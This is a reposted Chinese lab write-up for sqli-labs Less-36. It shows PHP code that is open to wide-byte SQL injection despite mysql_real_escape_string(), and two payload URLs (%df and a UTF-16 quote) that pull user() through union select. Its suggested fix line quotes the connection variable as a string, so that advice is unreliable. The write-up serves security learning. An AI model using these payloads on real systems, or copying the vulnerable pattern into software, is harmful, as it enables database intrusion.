Sqli-labs Less-36 寬字節注入 繞過mysql_real_escape_string()函數轉義


關鍵代碼

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}
$id=check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

上面的check_quotes()函數是利用了mysql_real_escape_string()函數進行的過濾。

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

但是因mysql我們並沒有設置成gbk,所以mysql_real_escape_string()依舊能夠被突破。方法和上述是一樣的。

方法一:利用%df突破

http://127.0.0.1/sql/Less-36/?id=-1%df' union select 1,user(),3--+

 

方法二:利用 ' 的utf-16突破

http://127.0.0.1/sql/Less-36/?id=-1%EF%BF%BD%27union select 1,user(),3--+

 

Notice:在使用mysql_real_escape_string()時,如何能夠安全的防護這種問題,需要將mysql設置為gbk即可。

設置代碼:

mysql_set_charset('gbk','$conn')

 

參考:https://www.cnblogs.com/lcamry/p/5762920.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM